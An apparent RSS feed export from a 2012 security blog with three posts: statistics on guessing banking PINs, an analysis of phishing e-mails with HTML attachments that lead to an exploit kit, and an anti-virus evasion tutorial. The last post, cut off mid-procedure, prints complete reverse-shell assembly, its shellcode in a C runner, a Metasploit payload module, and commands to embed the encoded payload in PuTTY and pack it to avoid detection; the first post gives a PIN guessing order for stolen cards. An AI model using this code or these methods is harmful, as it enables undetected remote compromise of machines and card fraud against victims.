<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Digital Threat</title>
	
	<link>http://www.digitalthreat.net</link>
	<description>vulnerabilities, exploitation, malware, social engineering.</description>
	<lastBuildDate>Mon, 27 Feb 2012 08:46:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.4</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/digitalthreat" /><feedburner:info uri="digitalthreat" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId>digitalthreat</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>Guessing banking PINs using statistics</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/J7SwXByaR3I/</link>
		<comments>http://www.digitalthreat.net/2012/02/guessing-banking-pins-using-statistics/#comments</comments>
		<pubDate>Mon, 27 Feb 2012 08:46:30 +0000</pubDate>
		<dc:creator>Jago Maniscalchi</dc:creator>
				<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2426</guid>
		<description><![CDATA[Researchers at the University of Cambridge recently published a paper on PIN security. During their study they analysed several large sources of passwords or PINs and attempted to define a model for predicting PIN usage. They ...]]></description>
			<content:encoded><![CDATA[<p>Researchers at the University of Cambridge recently published a paper on <a href="http://www.cl.cam.ac.uk/~jcb82/doc/BPA12-FC-banking_pin_security.pdf">PIN security</a>. During their study they analysed several large sources of passwords or PINs and attempted to define a model for predicting PIN usage. They also surveyed bank card users and generated a model for predicting banking PINs.</p>
<p><strong>Banking PIN selection</strong></p>
<p>When examining banking PINs, the researchers discovered that:</p>
<ul>
<li>About a quarter of users use dates to generate their code. 29% use their date of birth, 26% the birth date of a partner or family member, and 25% an important life event like an anniversary or graduation.</li>
<li>9% of users choose a pattern on the keypad, and 5% choose a numeric pattern. </li>
</ul>
<p><strong>Guessing a PIN</strong></p>
<p>Banking PINs can be tried three times at an ATM and three times at the point of sale, before the card is blocked. A prepared attacker therefore has six attempts at the PIN before the card is no longer exploitable.</p>
<p><em>Without a birthdate</em> &#8211; without knowing the birthdate of the victim, the optimal guessing order for banking PINs is 1234, followed by the years 1990, 1989, 1988, 1987, 1986. At this point the card would be blocked. Chances of success with six guesses are 2%.</p>
<p><em>With a birthdate</em> &#8211; if the birthdate of the owner is known, the chances of success are much higher. The optimal guessing order becomes YYYY, DMYY, DDMM, MMDD, 1234, MMYY. The chance of success with six guesses increase to 8%.</p>
<p><strong>Other important factors</strong></p>
<p>The victim&#8217;s date of birth is only one of the factors that should be used when guessing a PIN. </p>
<p>One third of users will reuse their PIN in another system, where it may be accessible to an attacker. Of those, 21% use their banking PIN for access to their voicemails, and 15% use it as an Internet password. 7% of users, therefore, tell their voicemail company their banking PIN. Getting at that voicemail PIN would therefore be a very high priority for an attacker. </p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/J7SwXByaR3I" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/02/guessing-banking-pins-using-statistics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/02/guessing-banking-pins-using-statistics/</feedburner:origLink></item>
		<item>
		<title>Phishers using e-mail attachments to evade anti-virus</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/VSoSa5cgNtA/</link>
		<comments>http://www.digitalthreat.net/2012/02/phishers-using-e-mail-attachments-to-evade-anti-virus/#comments</comments>
		<pubDate>Fri, 24 Feb 2012 08:08:07 +0000</pubDate>
		<dc:creator>Jago Maniscalchi</dc:creator>
				<category><![CDATA[Exploits and Malware]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2398</guid>
		<description><![CDATA[Phishing is a social engineering attack that involves sending a series of victims an e-mail purporting to be from a bank or utility company, and inviting them to click a link and enter their personal details. ...]]></description>
			<content:encoded><![CDATA[<p>Phishing is a social engineering attack that involves sending a series of victims an e-mail purporting to be from a bank or utility company, and inviting them to click a link and enter their personal details. </p>
<p>Here is the definition From Mozilla:</p>
<blockquote><p>
Phishing is a form of identity theft that occurs when a malicious Web site impersonates a legitimate one in order to trick you into giving up sensitive information such as passwords, account details, or credit card numbers. Phishing attacks usually come from email messages that attempt to lure the recipient into updating their personal information on fake, but very real looking, Web sites.
</p></blockquote>
<p>Many browsers now contain features that allow users to report possible phishing websites, and that warn other victims not to visit those sites. If you enable the feature on Firefox, for example, it will download a list of known phishing websites every 30 minutes and will check every URL that you visit against that list. If it gets a hit, it will alert you before allowing you to proceed, or giving you the option of </p>
<p>In the last year, phishers have developed a workaround. Now, rather than sending you to a realistic-looking, but fake, website that may set off alerts in your browser, they are now attaching HTML files to their spam e-mails and inviting users to load the file and enter the details. Because the file is saved and opened locally, browsers aren&#8217;t getting a chance to match anything against their lists. </p>
<p>Only the final press of the &#8216;submit&#8217; button results in any data being sent across the Internet, and because the URL that the data is sent to is hidden, fewer people are identifying and reporting those addresses to browser companies.</p>
<p>Here is an example.</p>
<p>Last week, I received an e-mail from Santander inviting me to update my details, and threatening me with closure of my account if I do not comply. For me, there are three clear indications that this is a hoax:</p>
<ul>
<ol>Real banks never ask you for this kind of information in an e-mail</ol>
<ol>The english is badly formed</ol>
<ol>I don&#8217;t bank with Santander</ol>
</ul>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/attachment-phishing-santander-email.jpg" alt="" title="attachment-phishing-santander-email" width="575" height="372" class="aligncenter size-full wp-image-2405" /></p>
<p><a href="http://www.digitalthreat.net/wp-content/uploads/2012/02/attachment-phishing-santander-attachment1.jpg"><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/attachment-phishing-santander-attachment1-150x150.jpg" alt="" title="attachment-phishing-santander-attachment1" width="150" height="150" class="alignright size-thumbnail wp-image-2403" /></a></p>
<p>The e-mail has an HTML file attachment which I downloaded and opened in my browser. The first thing that I noticed was the popup about security that invited me to download a copy of Trusteer. I initially assumed this was an infected copy, but it would appear not. Either this was a very clever persuasion technique on the part of the phishers (&#8220;we truely care about your security&#8221;), or they were accidentely including genuine popups from the real Santander website. </p>
<p>Once the popup had been dismissed, I was presented with a form asking me for all my personal details &#8211; name, address, password, mothers maiden name &#8211; everything required to take over my identity. The submit button sent the details to a website in Uruguay which, incidentally, was a genuine website that appeared to have been compromised by the phishers. </p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/attachment-phishing-santander-form.jpg" alt="" title="attachment-phishing-santander-form" width="575" height="403" class="aligncenter size-full wp-image-2406" /></p>
<p>In the last month things have changed again. </p>
<p>Since the start of 2012, the Cutwail worm has been responsible for generating a large amount of attachment spam &#8211; these figures are from from <a href="http://labs.m86security.com/2012/02/cutwail-drives-spike-in-malicious-html-attachment-spam/">M86 Labs</a>:</p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/cutwail-SpamVolumeIndex.png" alt="" title="cutwail-SpamVolumeIndex" width="563" height="441" class="aligncenter size-full wp-image-2409" /> </p>
<p>Our spamnet here at Digital Threat has collected a number of these Cutwail messages &#8211; this is the FDIC message from January 2012:</p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/attachment-phishing-fdic.jpg" alt="" title="attachment-phishing-fdic" width="575" height="120" class="aligncenter size-full wp-image-2399" /></p>
<p>and the Xerox message from Februrary 2012:</p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/attachment-phishing-xerox.jpg" alt="" title="attachment-phishing-xerox" width="575" height="292" class="aligncenter size-full wp-image-2407" /></p>
<p>The difference with these messages is that they don&#8217;t request any personal detail. They use social engineering techniques to get you to open the attachment, but the attachment immediately directs you to an attack server, via an i-frame, which attempts to compromise your machine. </p>
<p><a href="http://www.digitalthreat.net/wp-content/uploads/2012/02/attachment-phishing-fdic-email.jpg"><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/attachment-phishing-fdic-email-564x198.jpg" alt="" title="attachment-phishing-fdic-email" width="430" height="150" class="aligncenter size-large wp-image-2400" /></a></p>
<p>The e-mail attachments themselves contain obfuscated Javascript, which, when decoded, resolve to an iframe. </p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/attachment-phishing-packedjscript.jpg" alt="" title="attachment-phishing-packedjscript" width="575" height="390" class="aligncenter size-full wp-image-2402" /></p>
<p>The iframe itself redirects to the attach server which, in this case, was an instance of the Pheonix exploit kit. Pheonix includes a number of exploits for known vulnerabilities in browsers and plugins. </p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/attachment-phishing-iframe.jpg" alt="" title="attachment-phishing-iframe" width="575" height="318" class="aligncenter size-full wp-image-2401" /></p>
<p>The lessons? Look out for bad language, unexpected requests for personal information, and don&#8217;t open any attachments if you don&#8217;t know the sender, or weren&#8217;t expecting the e-mail. Just double-clicking on an HTML file attachment could lead to compromise.</p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/VSoSa5cgNtA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2012/02/phishers-using-e-mail-attachments-to-evade-anti-virus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2012/02/phishers-using-e-mail-attachments-to-evade-anti-virus/</feedburner:origLink></item>
		<item>
		<title>Anti-virus evasion – 2. Using custom shellcode</title>
		<link>http://feedproxy.google.com/~r/digitalthreat/~3/f3OAymkOdoU/</link>
		<comments>http://www.digitalthreat.net/2012/02/anti-virus-evasion-using-custom-shellcode/#comments</comments>
		<pubDate>Sat, 11 Feb 2012 13:59:17 +0000</pubDate>
		<dc:creator>Jago Maniscalchi</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[slider]]></category>

		<guid isPermaLink="false">http://www.digitalthreat.net/?p=2356</guid>
		<description><![CDATA[In the previous article in this series &#8211; Choosing a Payload &#8211; we examined the impact that different Metasploit payloads can have on the attack detection rate of popular anti-virus products. We determined that: encoded payloads ...]]></description>
			<content:encoded><![CDATA[<p>In the previous article in this series &#8211; <a href="http://www.digitalthreat.net/2012/02/anti-virus-evasion-choosing-a-payload/">Choosing a Payload</a> &#8211; we examined the impact that different Metasploit payloads can have on the attack detection rate of popular anti-virus products. We determined that:</p>
<ul>
<li>encoded payloads are marginally less likely to be detected than unencoded payloads</li>
<li>when staged payloads are used (a small payload that then downloads the remainder in a second stage), the detection rate of encoded payloads is considerably lower</li>
<li>packing of payloads using <a href="http://upx.sourceforge.net/">UPX</a> reduces detection rates to less than 50%.</li>
</ul>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/antivirus-graph-initial.jpg" alt="" title="antivirus-graph-initial" width="575" height="349" class="aligncenter size-full wp-image-2346" /></p>
<p><strong>The most successful exploit that we created used Metasploit&#8217;s <code>windows/shell/reverse_http</code> staged payload, and was encoded using Shikata Ga Nai. It was embedded into PuTTY (our carrier program) and then packed with UPX.</strong></p>
<p>In this second article we examine whether the use of custom shellcode in a payload makes detection by anti-virus less likely.</p>
<p><strong>Shellcode</strong></p>
<p>Firstly, we need some shellcode to test. Creation of custom shellcode is beyond the scope of this article, so, for the sake of simplicity, we have borrowed a reverse shell payload from an excellent article over at <a href="http://projectshellcode.com/?q=node/24">Project Shellcode</a>. It is written in x86 assembler and creates a reverse shell to a given IP address (in this case 192.168.1.68) on a given port (in this case 4444).</p>
<pre style="overflow:scroll; height:400px">
[SECTION .text]

BITS 32

global _start

_start:

    jmp start_asm

;DEFINE FUNCTIONS

;FUNCTION: find_kernel32

find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret

;END FUNCTION: find_kernel32

;FUNCTION: find_function

find_function:
    pushad
    mov ebp, [esp + 0x24]
    mov eax, [ebp + 0x3c]
    mov edx, [ebp + eax + 0x78]
    add edx, ebp
    mov ecx, [edx + 0x18]
    mov ebx, [edx + 0x20]
    add ebx, ebp
find_function_loop:
    jecxz find_function_finished
    dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp

compute_hash:
    xor edi, edi
    xor eax, eax
    cld
compute_hash_again:
    lodsb
    test al, al
    jz compute_hash_finished
    ror edi, 0xd
    add edi, eax
    jmp compute_hash_again
compute_hash_finished:
find_function_compare:
    cmp edi, [esp + 0x28]
    jnz find_function_loop
    mov ebx, [edx + 0x24]
    add ebx, ebp
    mov cx, [ebx + 2 * ecx]
    mov ebx, [edx + 0x1c]
    add ebx, ebp
    mov eax, [ebx + 4 * ecx]
    add eax, ebp
    mov [esp + 0x1c], eax
find_function_finished:
    popad
    ret

;END FUNCTION: find_function

;FUNCTION: resolve_symbols_for_dll

resolve_symbols_for_dll:
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add esp, 0x08
    add edi, 0x04
    cmp esi, ecx
    jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
    ret

;END FUNCTION: resolve_symbols_for_dll

;DEFINE CONSTANTS

locate_kernel32_hashes:
    call locate_kernel32_hashes_return

    ;LoadLibraryA
    db 0x8e
    db 0x4e
    db 0x0e
    db 0xec

    ;CreateProcessA
    db 0x72
    db 0xfe
    db 0xb3
    db 0x16

    ;ExitProcess
    db 0x7e
    db 0xd8
    db 0xe2
    db 0x73

;locate_ws2_32_hashes:

    ;WSASocketA
    db 0xd9
    db 0x09
    db 0xf5
    db 0xad

    ;connect
    db 0xec
    db 0xf9
    db 0xaa
    db 0x60

    ;WSAStartup
    db 0xcb
    db 0xed
    db 0xfc
    db 0x3b

;END DEFINE CONSTANTS

start_asm:	 ; start our main program
    sub esp, 0x68	; allocate space on stack for function addresses
    mov ebp, esp	; set ebp as frame ptr for relative offset on stack

    call find_kernel32 ;find address of Kernel32.dll
    mov edx, eax

    ;resolve kernel32 symbols
    jmp short locate_kernel32_hashes	;locate address of our hashes
locate_kernel32_hashes_return:	;define return label to return to this code
    pop esi	 ;get constants address from stack
    lea edi, [ebp + 0x04]	;this is where we store our function addresses
    mov ecx, esi
    add ecx, 0x0C	 ;length of kernel32 hash list
    call resolve_symbols_for_dll

    ;resolve ws2_32 symbols
add ecx, 0x0C	 ;length of ws2_32 hash list

    ;create the string ws2_32 on the stack
xor eax, eax
mov ax, 0x3233
push eax
push dword 0x5f327377
mov ebx, esp	 ;ebx now points to "ws2_32"

push ecx
push edx
push ebx
call [ebp + 0x04]	;call LoadLibraryA(ws2_32)

pop edx	 ;edx now holds location of ws2_32.dll
pop ecx
mov edx, eax
call resolve_symbols_for_dll

initialize_cmd:	 ;push the string "cmd" onto the stack
    mov eax, 0x646d6301
    sar eax, 0x08
    push eax
    mov [ebp + 0x30], esp

WSAStartup:	 ;initialise networking

    xor edx,edx	 ;make some stack space
    mov dh, 0x03	 ;sizeof(WSADATA) is 0x190
    sub esp, edx

    	 ;initialize winsock
    push esp	 ;use stack for WSADATA
    push 0x02	 ;wVersionRequested
    call [ebp + 18h]	;call WSAStartup

    add esp, 0x0300	 ;move esp over WSAData

;SECTION: start custom shellcode

create_socket:	 ;same as portbind
    xor eax, eax	 ;zero eax
    push eax	 ;Push the dwFlags argument to WSASocket as 0.
    push eax	 ;Push the g argument to WSASocket as 0.
    push eax	 ;Push the lpProtocolInfo argument to WSASocket as NULL.
    push eax	 ;Push the protocol argument to WSASocket as 0.
    inc eax	 ;Increment eax to 1.
    push eax	 ;Push the type argument to WSASocket as SOCK STREAM.
    inc eax	 ;Increment eax to 2.
    push eax	 ;Push the af argument to WSASocket as AF INET.
    call [ebp + 0x10]	;Call WSASocket to allocate a socket for later use.
    mov esi, eax	 ;Save the socket file descriptor in esi.

do_connect:
    push 0x4401a8c0     ;  192.168.1.68
    mov eax, 0x5c110102	;Set the high order bytes of eax to the port to connect to in networkbyte order (4444). The low order bytes should be set to the family, in this case AF INET3.
    dec ah	 ;Decrement the second byte of eax to get it to zero and have the family be correctly set to AF INET.
    push eax	 ;Push the sin port and sin family attributes.
    mov ebx, esp	 ;Set ebx to the pointer to the struct sockaddr in that has been initialized on the stack.
    xor eax, eax	 ;Zero eax.
    mov al, 0x10	 ;Set the low order byte of eax to 16 to represent the size of the struct sockaddr in.
    push eax	 ;Push the namelen argument which has been set to 16.
    push ebx	 ;Push the name argument which has been set to the initialized struct sockaddr in on the stack.
    push esi	 ;Push the s argument as the file descriptor that was previously returned from WSASocket.
    call [ebp + 0x14]	;Call connect to establish a TCP connection to the remote machine on the specified port.

initialize_process:
    xor ecx, ecx	 ;Zero ecx.
    mov cl, 0x54	 ;Set the low order byte of ecx to 0x54 which will be used to represent the size of the STARTUPINFO and PROCESS INFORMATION structures on the stack.
    sub esp, ecx	 ;Allocate stack space for the two structures.
    mov edi, esp	 ;Set edi to point to the STARTUPINFO structure.
    push edi	 ;Preserve edi on the stack as it will be modified by the following instructions.
zero_structs:
    xor eax, eax	 ;Zero eax to for use with stosb to zero out the two structures.
    rep stosb	 ;Repeat storing zero at the buffer starting at edi until ecx is zero.
    pop edi	 ;Restore edi to its original value.
initialize_structs:
    mov byte[edi], 0x44	;Set the cb attribute of STARTUPINFO to 0x44 (the size of the structure).
    inc byte[edi + 0x2d]	;Set the STARTF USESTDHANDLES flag to indicate that the hStdInput, hStdOutput, and hStdError attributes should be used.
    push edi	 ;Preserve edi again as it will be modified by the stosd.
    mov eax, esi	 ;Set eax to the client file descriptor that was returned by accept
    lea edi, [edi + 0x38]	;Load the effective address of the hStdInput attribute in the STARTUPINFO structure.
    stosd	 ;Set the hStdInput attribute to the file descriptor returned from accept.
    stosd	 ;Set the hStdOutput attribute to the file descriptor returned from accept.
    stosd	 ;Set the hStdError attribute to the file descriptor returned from accept.
    pop edi	 ;Restore edi to its original value.
execute_process:
    xor eax, eax	 ;Zero eax for use with passing zerod arguments.
    lea esi, [edi + 0x44]	;Load the effective address of the PROCESS INFORMATION structure into esi.
    push esi	 ;Push the pointer to the lpProcessInformation structure.
    push edi	 ;Push the pointer to the lpStartupInfo structure.
    push eax	 ;Push the lpStartupDirectory argument as NULL.
    push eax	 ;Push the lpEnvironment argument as NULL
    push eax	 ;Push the dwCreationFlags argument as 0.
    inc eax	 ;Increment eax to 1.
    push eax	 ;Push the bInheritHandles argument as TRUE due to the fact that the client needs to inherit the socket file descriptor.
    dec eax	 ;Decrement eax back to zero.
    push eax	 ;Push the lpThreadAttributes argument as NULL.
    push eax	 ;Push the lpProcessAttributes argument as NULL.
    push dword [ebp + 0x30]	;Push the lpCommandLine argument as the pointer to cmd. Only change in this section to portbind.
    push eax	 ;Push the lpApplicationName argument as NULL.
    call [ebp + 0x08]	;Call CreateProcessA to created the child process that has its input and output redirected from and to the remote machine via the TCP connection.

exit_process:
    call [ebp + 0x0c]	;Call ExitProcess as the parent no longer needs to execute
</pre>
<p><strong>Compiling the shellcode</strong></p>
<p>We compiled the shellcode using the shellcode compiler script from Project Shellcode, which uses <code>nasm</code> to assemble the code, <code>xxd</code> to convert the binary output to a hex string, and then formats the string as a C array. </p>
<p><code>$ ./shellcode-compiler.sh connectback.asm</code></p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/antivirus-shellcode-compile.jpg" alt="" title="antivirus-shellcode-compile" width="575" height="262" class="aligncenter size-full wp-image-2342" /></p>
<p><strong>Testing the shellcode</strong></p>
<p>The first step in using the shellcode is to check that it executes correctly in a Windows environment and creates the reverse shell that we expect. The simple C program below executes the shellcode in the array and tests the payload&#8217;s functionality.</p>
<pre>
char code[] = "\xe9\xae\x00\x00\x00\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0f\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xe9\x09\x00\x00\x00\x8b\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x37\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x0a\xc1\xcf\x0d\x01\xc7\xe9\xf1\xff\xff\xff\x3b\x7c\x24\x28\x75\xde\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8\xa7\xff\xff\xff\x89\x07\x81\xc4\x08\x00\x00\x00\x81\xc7\x04\x00\x00\x00\x39\xce\x75\xe6\xc3\xe8\x29\x00\x00\x00\x8e\x4e\x0e\xec\x72\xfe\xb3\x16\x7e\xd8\xe2\x73\xd9\x09\xf5\xad\xec\xf9\xaa\x60\xcb\xed\xfc\x3b\x81\xec\x68\x00\x00\x00\x89\xe5\xe8\x45\xff\xff\xff\x89\xc2\xeb\xd2\x5e\x8d\x7d\x04\x89\xf1\x81\xc1\x0c\x00\x00\x00\xe8\xa6\xff\xff\xff\x81\xc1\x0c\x00\x00\x00\x31\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x89\xe3\x51\x52\x53\xff\x55\x04\x5a\x59\x89\xc2\xe8\x83\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x31\xd2\xb6\x03\x29\xd4\x54\x68\x02\x00\x00\x00\xff\x55\x18\x81\xc4\x00\x03\x00\x00\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x10\x89\xc6\x68\xc0\xa8\x01\x44\xb8\x02\x01\x11\x5c\xfe\xcc\x50\x89\xe3\x31\xc0\xb0\x10\x50\x53\x56\xff\x55\x14\x31\xc9\xb1\x54\x29\xcc\x89\xe7\x57\x31\xc0\xf3\xaa\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x89\xf0\x8d\x7f\x38\xab\xab\xab\x5f\x31\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x30\x50\xff\x55\x08\xff\x55\x0c";

int main(int argc, char **argv)
{
  int (*funct)();
  funct = (int (*)()) code;
  (int)(*funct)();
}
</pre>
<p>The program was compiled in the Windows victim environment using GCC. To test the payload functionality, we created a port 4444 listener on our base computer and ran the manually compiled test program on our victim windows machine.</p>
<p><code>C:\> gcc.exe c:\connectback.shellcode.c -o c:\manual_digithreat_rt.exe</code></p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/antivirus-payload-working1.jpg" alt="" title="antivirus-payload-working" width="430" height="116" class="aligncenter size-full wp-image-2385" /></p>
<p><strong>Creating a Metasploit Payload</strong></p>
<p>Metasploit is modular, and additional modules can be added very easily by dropping a new Ruby file into the correct directory. In this case we created a module named <code>shell_digithreat_reverse_tcp.rb</code> and dropped it into <code>/opt/framework3/msf3/modules/payloads/single/windows/</code>. We based our new module on the existing <code>shell_reverse_tcp.rb</code> module supplied with Metasploit. </p>
<p>When creating a new module you have to calculate the correct offsets for at least the parameters LHOST and LPORT in your shellcode. Metasploit will allow users to supply these attributes when using your module and it will automatically overwrite your shellcode at the appropriate offsets.</p>
<pre style="overflow:scroll; height:400px">
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

	include Msf::Payload::Windows
	include Msf::Payload::Single
	include Msf::Sessions::CommandShellOptions

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Windows Command Shell, Reverse TCP Inline',
			'Version'       => '$Revision: 8642 $',
			'Description'   => 'Connect back to attacker and spawn a command shell',
			'Author'        => [ 'vlad902', 'sf' ],
			'License'       => MSF_LICENSE,
			'Platform'      => 'win',
			'Arch'          => ARCH_X86,
			'Handler'       => Msf::Handler::ReverseTcp,
			'Session'       => Msf::Sessions::CommandShell,
			'Payload'       =>
				{
					'Offsets' =>
						{
							'LPORT'    => [ 304, 'n'    ],
							'LHOST'    => [ 297, 'ADDR' ],
						},
					'Payload' =>
							"\xe9\xae\x00\x00\x00\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0f"+
							"\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xe9\x09\x00\x00\x00\x8b"+
							"\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b"+
							"\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb"+
							"\xe3\x37\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0"+
							"\x74\x0a\xc1\xcf\x0d\x01\xc7\xe9\xf1\xff\xff\xff\x3b\x7c\x24\x28"+
							"\x75\xde\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb"+
							"\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8\xa7"+
							"\xff\xff\xff\x89\x07\x81\xc4\x08\x00\x00\x00\x81\xc7\x04\x00\x00"+
							"\x00\x39\xce\x75\xe6\xc3\xe8\x29\x00\x00\x00\x8e\x4e\x0e\xec\x72"+
							"\xfe\xb3\x16\x7e\xd8\xe2\x73\xd9\x09\xf5\xad\xec\xf9\xaa\x60\xcb"+
							"\xed\xfc\x3b\x81\xec\x68\x00\x00\x00\x89\xe5\xe8\x45\xff\xff\xff"+
							"\x89\xc2\xeb\xd2\x5e\x8d\x7d\x04\x89\xf1\x81\xc1\x0c\x00\x00\x00"+
							"\xe8\xa6\xff\xff\xff\x81\xc1\x0c\x00\x00\x00\x31\xc0\x66\xb8\x33"+
							"\x32\x50\x68\x77\x73\x32\x5f\x89\xe3\x51\x52\x53\xff\x55\x04\x5a"+
							"\x59\x89\xc2\xe8\x83\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08"+
							"\x50\x89\x65\x30\x31\xd2\xb6\x03\x29\xd4\x54\x68\x02\x00\x00\x00"+
							"\xff\x55\x18\x81\xc4\x00\x03\x00\x00\x31\xc0\x50\x50\x50\x50\x40"+
							"\x50\x40\x50\xff\x55\x10\x89\xc6\x68\xc0\xa8\x01\x44\xb8\x02\x01"+
							"\x11\x5c\xfe\xcc\x50\x89\xe3\x31\xc0\xb0\x10\x50\x53\x56\xff\x55"+
							"\x14\x31\xc9\xb1\x54\x29\xcc\x89\xe7\x57\x31\xc0\xf3\xaa\x5f\xc6"+
							"\x07\x44\xfe\x47\x2d\x57\x89\xf0\x8d\x7f\x38\xab\xab\xab\x5f\x31"+
							"\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75"+
							"\x30\x50\xff\x55\x08\xff\x55\x0c"
				}
			))
	end

end
</pre>
<p>Once the module was in place and the offsets had been calculated, we used <code>msfpayload</code> to generate raw binary shellcode using our new payload module. Firstly, we asked Metasploit to generate the shellcode with no changes (i.e. with the same values for IP address and port that we had compiled into it earlier). Secondly we changed the IP address and port. </p>
<p><code>$ msfpayload windows/shell_digithreat_reverse_tcp LHOST=192.168.1.68 LPORT=4444 R | xxd</code><br />
<code>$ msfpayload windows/shell_digithreat_reverse_tcp LHOST=127.0.0.1 LPORT=5555 R | xxd</code></p>
<p>A careful examination of the output illustrates the IP address and port being correctly overwritten.</p>
<p><img src="http://www.digitalthreat.net/wp-content/uploads/2012/02/antivirus-msfpayload-test.jpg" alt="" title="antivirus-msfpayload-test" width="575" height="633" class="aligncenter size-full wp-image-2344" /></p>
<p>Given that the raw shellcode being generated by our payload is exactly equal to the shellcode that we compiled and tested earlier, the module should work in a similar fashion to the others included in Metasploit. There is one important caveat here, relating to null bytes, which must not be included in any shellcode which needs to go through any string manipulation function. Strings are terminated by null bytes and the shellcode will be truncated at the first instance of \x00. If this payload were to be utilised in a buffer overflow exploit, for example, the assembler would need to be re-worked to remove any null bytes from the assembled object code.</p>
<p><strong>Using our new Metasploit Payload</strong></p>
<p>With a valid custom payload module included in our Metasploit environment, we can ask <code>msfpayload</code> to generate a raw executable payload and can use <code>msfencode</code> to encode the payload using Shikata Ga Nai and embed it into our carrier application. As in Part 1, we used PuTTY as the carrier. We also packed the resultant implanted version of PuTTY with UPX.</p>
<p><code>$ msfpayload windows/shell_digithreat_reverse_tcp LHOST=192.168.1.68 LPORT=4444 X > raw_digithreat_rt.exe</code><br />
